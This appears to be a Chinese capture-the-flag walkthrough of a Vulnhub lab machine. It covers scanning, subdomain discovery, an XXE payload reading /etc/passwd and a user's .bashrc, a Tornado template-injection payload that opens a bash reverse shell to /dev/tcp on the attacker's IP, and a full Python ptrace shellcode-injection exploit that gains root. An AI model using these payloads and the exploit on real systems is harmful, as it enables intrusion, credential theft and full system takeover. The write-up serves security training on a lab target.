文章目录
一、前言
由于在做靶机的时候,涉及到的渗透思路是非常的广泛,所以在写文章的时候都是挑重点来写,尽量的不饶弯路。具体有不不懂都的可以直接在文章下评论或者私信博主
如果不会导入Vulnhub靶机和配置网络环境的话,请点我直达发车文章!
1、靶机ip配置
- Kali IP:192.168.2.103
- 靶机IP:192.168.2.133
靶机ip获取方式如下图
2、渗透概括
- 根据提示找信息
- 源码审计
- URL参数传参
- 添加域名记录
- dig挖掘更多的主机
- XML注入(XXE)
- SSRT代码注入(RCE)
- cap_sys_ptrace+ep提权
开始实战
一、信息获取
使用nmap工具对靶机做基本的信息收集nmap -sS -sV -A -T4 -p- 靶机IP
如下所示
可以看到,开放的端口还是比较的多
发现了几个常用端口服务53/dns 80/http 9999/http
53/dns
根据扫描出来的服务信息,可以看出这是一个DNS服务,这里记录一下,后面可以用于反向查询
80/http
和9999/http
都是http服务,根据信息9999端口
是一个登录的页面并且是Tornado
框架的(这个是关键),可以分开测试一下来找到可利用的东西
访问该服务器的80端口
,是一个普通的web页面
二、WebURL传参获取信息
直接Ctrl+u
打开该网站的源码,如下图发现了一个page_no
的参数
给URL加一个page_no=1
的参数,发现多了一条提示(大概意思是叫我深入挖掘),尝试了一下sqlmap
但是没有跑出来
那就手工测试一下
在试到page_no=21
的时候,网站给了我们一个域名hackers.blackhat.local
(PS:这个可以自己写一个py脚本或者直接用burpsuite工具来爆破,因为内容不是很多,就不演示了)
三、添加本地域名解析
用如下命令在/etc/hosts
文件内添加一下这个域名解析
echo "192.168.2.133 hackers.blackhat.local" >> /etc/hosts
再访问一下这个获取到的域名,发现还是跟原来一样
但是我们发现下面这个页面一直有一个DIG
这个提示,一直叫我们深入挖掘,dig是跟域名相关给的工具,可以尝试使用
四、dig挖掘新主机
前面我们了解到,这个服务器是由一个DNS服务
的,现在就排上用场了,使用dig工具对这个域名继续挖掘
如下图挖出来了一个新的主机名hackerkid.blackhat.local.
我们继续在/etc/hosts
文件里面添加一个新的解析
echo "192.168.2.133 hackerkid.blackhat.local" >> /etc/hosts
我们访问一下这个hackerkid.blackhat.local
发现是一个注册账户的页面
我们尝试注册一个账户,说我们邮箱不可用
五、XXE漏洞利用
我们用burpsuite
抓一个包, 发现请求体里面是一个XML
格式的内容,那么这里可以猜测一下XXE
我们尝试利用XXE
漏洞来获取一下/etc/passwd
文件内的用户内容
我们把添加如下内容,并且在<email>
标签里面加入&file;
内容(因为测试了其他的,发现只有email标签才能正常回显)
如下图,在右侧的响应内容,有一个saket
用户
<!DOCTYPE llw [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
我们用php://
协议的base64流查看一下saket
用户的环境变量(file://协议不能正常回显
)
如下,可以看到saket
用户的环境变量内容已经以base64的方式返回出来了
php://filter/convert.base64-encode/resource=/home/saket/.bashrc
我们用burpsuite的Decoder
模块对这个编码进行解码
更具解码内容发现了一个admin
用户和密码Saket!#$%@!!
由于我们之前在做信息收集的时候发现9999
端口有一个登录页面,我们到i这个页面试一下获取到的用户密码
这里有点坑,我们直接用刚刚获取到的admin
登录失败,然后用saket
用户即可成功登录
如下图即成功登录
有一段提示,意思是告诉我你的名字,伙计。我怎么才能知道你是谁??
根据提示信息,不难猜测出是要给这个网站传一个name
参数,并且要给一个用户
尝试给一下?name=saket
参数,发现就是回显一下,输入其他的也是一样的
六、SSTI RCE利用获取shell
我们在前面的信息收集可以知道这个是一个Tornado
框架
这个框架是在python语言上面跑的,很像Django
,这个框架是存在SSTI注入的
原理: tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,并且可以通过{{}}进行传递变量和执行简单的表达式。
那么我们现在开始进行测试
#这个是我们要注入的代码
{% import os %}{{os.system('bash -c "bash -i &> /dev/tcp/192.168.2.103/1234 0>&1"')}}
下面我来解释一下这个代码
变量替换: 使用 {{ variable }} 语法可以在模板中插入变量的值。例如:{{ user_name }}
表达式: Jinja2支持基本的数学运算、逻辑表达式和字符串操作。例如:{{ x + 1 }}
控制结构: 使用 {% ... %} 进行控制结构,例如 if、for,以及 import。例如:{% if condition %} ... {% endif %}
过滤器: 过滤器用于对变量进行修改或处理,例如格式化日期、转换大小写等。例如:{{ user_input|capitalize }}
宏(Macro): 宏允许定义和重用代码块,类似于函数。例如:{% macro my_macro() %} ... {% endmacro %}
使用 {% import os %} 语法导入了Python的os模块,并且使用 {{ os.system(...) }} 执行了一个系统命令。这种用法是危险的,特别是在从不受信任的源接收输入时,因为它可能导致远程命令执行(RCE)漏洞。
我们现在将所要注入的代码进行URL编码
在burpsuite里面用Ctrl+u
快捷键即可快速编码
编码之后的Payload:
{%25+import+os+%25}{{os.system('bash+-c+"bash+-i+%26>+/dev/tcp/192.168.2.103/1234+0>%261"')}}
我们将编码好的Payload传入给网站,并且用nc
工具进行监听
注入代码之后,可以发现我们的nc已经成功获得了shell
可以用python3 -c 'import pty;pty.spawn("/bin/bash")'
命令来升级shell
七、提权
我们使用find / -perm -u=s 2>/dev/null
命令找一下SUID
权限的命令
发现了一个提取的老伙计:polkit-agent-helper-1
,但是这个给兄弟们自己尝试(没有cc命令make无法正常编译,可以用msf自己尝试一下)
我们用history
命令,看一下这个用户的操作记录
发现了一组可疑的记录
我们用/usr/sbin/getcap /usr/bin/python2.7
命令看看python2.7
发现具有cap_sys_ptrace+ep
权限(tips:用linenum.sh
这个工具脚本可扫出来,在GitHub就有)
CAP_SYS_PTRACE : 这是 Linux 系统的一种能力(capability),用于控制进程是否能够使用 ptrace 系统调用。ptrace 允许一个进程监视和控制另一个进程的执行,通常用于调试和进程间通信。
那么现在就可以尝试利用
利用的exp是一个python文件,所以就直接上代码了(Github有时候上不去)
import ctypes
import sys
import struct
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
class user_regs_struct(ctypes.Structure):
_fields_ = [
("r15", ctypes.c_ulonglong),
("r14", ctypes.c_ulonglong),
("r13", ctypes.c_ulonglong),
("r12", ctypes.c_ulonglong),
("rbp", ctypes.c_ulonglong),
("rbx", ctypes.c_ulonglong),
("r11", ctypes.c_ulonglong),
("r10", ctypes.c_ulonglong),
("r9", ctypes.c_ulonglong),
("r8", ctypes.c_ulonglong),
("rax", ctypes.c_ulonglong),
("rcx", ctypes.c_ulonglong),
("rdx", ctypes.c_ulonglong),
("rsi", ctypes.c_ulonglong),
("rdi", ctypes.c_ulonglong),
("orig_rax", ctypes.c_ulonglong),
("rip", ctypes.c_ulonglong),
("cs", ctypes.c_ulonglong),
("eflags", ctypes.c_ulonglong),
("rsp", ctypes.c_ulonglong),
("ss", ctypes.c_ulonglong),
("fs_base", ctypes.c_ulonglong),
("gs_base", ctypes.c_ulonglong),
("ds", ctypes.c_ulonglong),
("es", ctypes.c_ulonglong),
("fs", ctypes.c_ulonglong),
("gs", ctypes.c_ulonglong),
]
libc = ctypes.CDLL("libc.so.6")
pid=int(sys.argv[1])
# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64
# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()
# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))
print("Injecting Shellcode at: " + hex(registers.rip))
# Shell code copied from exploit db.
shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"
# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
# Convert the byte to little endian.
shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
shellcode_byte=int(shellcode_byte_little_endian,16)
# Inject the byte.
libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)
print("Shellcode Injected!!")
# Modify the instuction pointer
registers.rip=registers.rip+2
# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
print("Final Instruction Pointer: " + hex(registers.rip))
# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)
我们将这个代码保存到靶机里面去,并且命名为inject.py
(可更具自己习惯来)
我们用ps -aux |grep root
命令查看一下root用户的进程
root的进程还是有很多的
我们干脆就上一个sh脚本来批量跑一下,如下
for i in `ps -eaf|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 inject.py $i; done
inject.py
脚本在跑完之后会在5600
端口打开一个监听,如下
我们用nc
工具连接一下靶机的5600端口,如下图
输入id
命令之后发现我们已经是root用户了
我们升级完shell之后,前往root的家目录,由于该靶机没有设置flag,所以我们至此靶机的渗透就已经全部完成了